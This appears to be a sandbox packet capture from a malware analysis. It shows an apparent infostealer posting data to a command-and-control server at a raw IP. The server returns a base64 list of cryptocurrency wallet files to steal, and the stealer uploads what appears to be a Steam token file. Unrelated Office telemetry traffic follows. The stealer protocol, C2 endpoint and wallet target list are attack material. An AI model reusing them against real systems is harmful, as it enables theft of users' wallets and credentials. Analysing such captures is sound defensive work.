Oct 31, 2024 01:18:57.081980944 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFBGDBFBKKJECBFHDGIE Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 37 38 66 34 65 34 63 64 39 65 31 39 64 65 62 30 34 63 61 39 62 39 37 39 35 34 63 31 33 34 36 38 62 31 39 39 30 64 32 31 64 37 66 36 37 62 30 30 38 66 63 61 34 32 34 34 64 30 37 39 39 30 38 38 63 64 65 35 62 32 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 42 47 44 42 46 42 4b 4b 4a 45 43 42 46 48 44 47 49 45 2d 2d 0d 0a Data Ascii: ------KFBGDBFBKKJECBFHDGIEContent-Disposition: form-data; name="token"a78f4e4cd9e19deb04ca9b97954c13468b1990d21d7f67b008fca4244d0799088cde5b2e------KFBGDBFBKKJECBFHDGIEContent-Disposition: form-data; name="message"wallets------KFBGDBFBKKJECBFHDGIE--
Oct 31, 2024 01:18:57.362626076 CET	1236	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:57 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 31, 2024 01:18:57.366004944 CET	467	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIIJECAEGDHIDHJKKKKF Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 49 4a 45 43 41 45 47 44 48 49 44 48 4a 4b 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 37 38 66 34 65 34 63 64 39 65 31 39 64 65 62 30 34 63 61 39 62 39 37 39 35 34 63 31 33 34 36 38 62 31 39 39 30 64 32 31 64 37 66 36 37 62 30 30 38 66 63 61 34 32 34 34 64 30 37 39 39 30 38 38 63 64 65 35 62 32 65 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 4a 45 43 41 45 47 44 48 49 44 48 4a 4b 4b 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 49 4a 45 43 41 45 47 44 48 49 44 48 4a 4b 4b 4b 4b 46 2d 2d 0d 0a Data Ascii: ------IIIJECAEGDHIDHJKKKKFContent-Disposition: form-data; name="token"a78f4e4cd9e19deb04ca9b97954c13468b1990d21d7f67b008fca4244d0799088cde5b2e------IIIJECAEGDHIDHJKKKKFContent-Disposition: form-data; name="message"files------IIIJECAEGDHIDHJKKKKF--
Oct 31, 2024 01:18:57.646193981 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 01:18:57.660605907 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CAKFIJDHJEGIDHJKKKJJ Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 37 38 66 34 65 34 63 64 39 65 31 39 64 65 62 30 34 63 61 39 62 39 37 39 35 34 63 31 33 34 36 38 62 31 39 39 30 64 32 31 64 37 66 36 37 62 30 30 38 66 63 61 34 32 34 34 64 30 37 39 39 30 38 38 63 64 65 35 62 32 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CAKFIJDHJEGIDHJKKKJJContent-Disposition: form-data; name="token"a78f4e4cd9e19deb04ca9b97954c13468b1990d21d7f67b008fca4244d0799088cde5b2e------CAKFIJDHJEGIDHJKKKJJContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------CAKFIJDHJEGIDHJKKKJJContent-Disposition: form-data; name="file"------CAKFIJDHJEGIDHJKKKJJ--
Oct 31, 2024 01:18:58.431127071 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 01:18:58.483774900 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGIJEGCGDGHDHIDHDGCB Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 49 4a 45 47 43 47 44 47 48 44 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 37 38 66 34 65 34 63 64 39 65 31 39 64 65 62 30 34 63 61 39 62 39 37 39 35 34 63 31 33 34 36 38 62 31 39 39 30 64 32 31 64 37 66 36 37 62 30 30 38 66 63 61 34 32 34 34 64 30 37 39 39 30 38 38 63 64 65 35 62 32 65 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 45 47 43 47 44 47 48 44 48 49 44 48 44 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 4a 45 47 43 47 44 47 48 44 48 49 44 48 44 47 43 42 2d 2d 0d 0a Data Ascii: ------BGIJEGCGDGHDHIDHDGCBContent-Disposition: form-data; name="token"a78f4e4cd9e19deb04ca9b97954c13468b1990d21d7f67b008fca4244d0799088cde5b2e------BGIJEGCGDGHDHIDHDGCBContent-Disposition: form-data; name="message"ybncbhylepme------BGIJEGCGDGHDHIDHDGCB--
Oct 31, 2024 01:18:58.764647961 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 01:18:58.771732092 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHIIEHJKKECGCBFIIJDA Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 37 38 66 34 65 34 63 64 39 65 31 39 64 65 62 30 34 63 61 39 62 39 37 39 35 34 63 31 33 34 36 38 62 31 39 39 30 64 32 31 64 37 66 36 37 62 30 30 38 66 63 61 34 32 34 34 64 30 37 39 39 30 38 38 63 64 65 35 62 32 65 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 49 45 48 4a 4b 4b 45 43 47 43 42 46 49 49 4a 44 41 2d 2d 0d 0a Data Ascii: ------FHIIEHJKKECGCBFIIJDAContent-Disposition: form-data; name="token"a78f4e4cd9e19deb04ca9b97954c13468b1990d21d7f67b008fca4244d0799088cde5b2e------FHIIEHJKKECGCBFIIJDAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FHIIEHJKKECGCBFIIJDA--
Oct 31, 2024 01:18:59.541443110 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.5	49705	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 00:18:21 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-31 00:18:22 UTC	540	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 00:18:21 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Mon, 28 Oct 2024 13:23:36 GMT ETag: "0x8DCF753BAA1B278" x-ms-request-id: acfedf75-801e-002a-2768-2931dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241031T001821Z-17c5cb586f6hn8cl90dxzu28kw000000093g000000001nya x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-31 00:18:22 UTC	15844	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-31 00:18:22 UTC	16384	IN	Data Raw: 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e Data Ascii: "0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" />
2024-10-31 00:18:22 UTC	16384	IN	Data Raw: 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 Data Ascii: <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-781
2024-10-31 00:18:22 UTC	16384	IN	Data Raw: 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32"
2024-10-31 00:18:22 UTC	16384	IN	Data Raw: 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f Data Ascii: "0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Co
2024-10-31 00:18:22 UTC	16384	IN	Data Raw: 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a Data Ascii: <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C>
2024-10-31 00:18:22 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 Data Ascii: <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMillisec
2024-10-31 00:18:22 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e Data Ascii: R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIn
2024-10-31 00:18:22 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L>
